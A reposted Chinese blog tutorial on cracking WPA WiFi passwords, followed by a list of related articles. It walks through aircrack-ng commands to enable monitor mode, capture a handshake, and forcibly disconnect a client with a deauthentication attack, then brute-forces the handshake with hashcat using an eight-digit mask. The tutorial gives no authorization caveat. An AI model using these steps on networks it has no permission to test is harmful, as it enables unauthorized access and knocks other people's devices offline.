首页 > 其他分享 >HashCat wifi密码

HashCat wifi密码

时间:2023-09-06 15:12:25浏览次数:40  
标签:HashCat wifi 握手 WIFI wlan0mon ng 网卡 密码 hashcat

WIFI 密码

要破解 WIFI 密码,首先要抓到 WIFI 的握手包,要想得到 WIFI 的握手包,就需要在监听时刚好有设备连接了该 WIFI,但这就需要运气加成,因此可以我们可以主动将该 WIFI 的设备踢下去,一般设备就会自动连接该 WIFI,此时我们就抓到握手包了。


抓取 WIFI 握手包

1、将网卡处于监听状态

airmon-ng check 
airmon-ng check kill // 关闭影响监听状态的进程
airmon-ng start wlan0

wlan0 是网卡名称,一般都是 wlan0,如果不是则需要根据自己的情况进行修改,可通过 iwconfig 进行查看网卡的名称

当使用 iwconfig 查看网卡名称变为 wlan0mon 说明此时网卡已经处于监听模式了


2、扫描可用 WIFI

airodump-ng wlan0mon

3、获取wifi的握手包

airodump-ng -c (上一步扫描的 CH ) --bssid (想要破解 WIFI 的 bssid ) -w (握手文件存放目录) wlan0mon

这里以 ssid 为 teamssix 的 WIFI 为例

airodump-ng -c 1 --bssid 5E:C1:1B:A2:37:F1 -w ./ wlan0mon

为了顺利得到 WIFI 的握手包,可以将该 WIFI 下的设备强制踢下去

aireplay-ng -0 0 -a (要破解的 wifi 的 bssid ) -c (强制踢下的设备的 MAC 地址) wlan0mon

可以看到 teamssix 这个 WIFI 有一个设备正在连接,该设备的 MAC 地址为:38:26:2C:13:D3:33,使用以下命令可以将其强制踢下去

aireplay-ng -0 0 -a 5E:C1:1B:A2:37:F1 -c 38:26:2C:13:D3:33 wlan0mon

等待设备重新连接后,当右上角出现 WPA handshake 的时候说明获取成功


4、破解密码

使用 aircrack-ng 将握手包转换成 hccapx 格式(还可以使用 hashcat-utils-1.9 来转换)

aircrack-ng 1.cap -j 1
hashcat -a 3 -m 2500 1.hccapx ?d?d?d?d?d?d?d?d --force

或者使用 hashcat 官网提供的在线工具进行格式转换:https://hashcat.net/cap2hashcat/

hashcat -a 3 -m 22000 1.hc22000 ?d?d?d?d?d?d?d?d --force



作者:TeamsSix
链接:https://www.jianshu.com/p/52d1ed684020
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。



标签:HashCat,wifi,握手,WIFI,wlan0mon,ng,网卡,密码,hashcat
From: https://www.cnblogs.com/wutou/p/17682334.html

相关文章

  • HashCat获取 RAR、ZIP、office密码
    RAR压缩密码首先获取rar文件的hash值,我们可以使用另一款哈希破解工具John提供的rar2john工具将rar文件里的hash提取出来。rar2john下载地址:http://openwall.info/wiki/_media/john/johntheripper-v1.8.0.12-jumbo-1-bleeding-e6214ceab-2018-02-07-win-x64.7z......
  • HashCat 下载安装
    介绍Hashcat是一款用于破解密码的工具,据说是世界上最快最高级的密码破解工具,支持LM哈希、MD5、SHA等系列的密码破解,同时也支持Linux、Mac、Windows平台。一、官网https://hashcat.net二、github项目仓库https://github.com/hashcat/hashcat三、源码安装源码可以在......
  • 实现:修改密码~确认新密码~重置密码~提交操作✔
    1.功能效果图:2.基本布局先需要引入elementUI插件-注册基本布局code<template><el-cardclass="box-card"><divslot="header"class="clearfix"><span>重置密码</span></div><!--表单--&g......
  • mysql忘记密码
    mysql-uroot-p一回车想输入密码,发现密码错误!![MySQLforLinux错误ERROR1045(28000):Accessdeniedforuser'root'@'localhost'(usingpassword:YES)]1、找到my.cnf配置文件的位置windows下修改的是my.ini,这里主要说的是Linux的具体操作,Linux系统使用whereis能......
  • mysql忘记root密码
    mysql忘记root密码并修改:1、绕过密码验证修改msyql配置文件[mysqld]下添加skip-grant-tables    ##跳过授权表2、重启mysql服务3、登录mysql,use进入mysql库,修改user表修改root密码updateusersetauthentication_string='123'where user='root'andhost=......
  • MySQL修改密码方法总结
    MySQL修改密码方法总结作者:intphp<scripttype=text/javascript></script><scriptsrc="http://pagead2.googlesyndication.com/pagead/show_ads.js"type=text/javascript></script><scriptsrc="http://down.meety.com/asrep/......
  • git 设置记住密码和清除密码
    git设置记住密码和清除密码 1.永久记住密码该命令会记住密码,执行一次gitpull或gitpush等需要输入密码的命令,输入一次密码,之后就都不必再输入了gitconfig--globalcredential.helperstore复制2.设置记住密码(默认有效期为15分钟)每15分钟会......
  • MySQL忘记root密码解决方案
    Linux系统-部署-运维系列导航 场景一:重置root密码mysql登录密码为password()算法加密,解密成本太高,以下为通用方案;原理:mysql提供了特殊启动方式,即跳过权限表验证,启动后,登录不需要提供密码;登录后,即可修改mysql数据库的user表,重置密码,然后刷新权限,重启mysql服务即可;注意:此时my......
  • whindows minio config.json是文件夹的情况下修改后台管理员账号和密码
    1.创建系统环境变量在环境变量中添加“MINIO_ACCESS_KEY”和“MINIO_SECRET_KEY”作为用户名和密码2.启动服务修改完环境变量后,需要重新打开cmd窗口,用命令行启动服务即可重启后,账号和密码就变成了环境变量中设置的值......
  • 我的 Kafka 旅程 - 基于账号密码的 SASL+PLAIN 认证授权 · 配置 · 创建账号 · 用户
    本文基于Kafka3.0+的KRaft模式来阐述默认的Kafka不受认证约束,可不用账号就可以连接到服务,也就是默认的PLAIN方式,不需要认证;配置了SASL认证之后,连接Kafka只能用凭证连接登录。SASL支持的认证方式有多种:GSSAPI,PLAIN,SCRAM-SHA-256,SCRAM-SHA-512,OAUTHBEARERGSSAPI......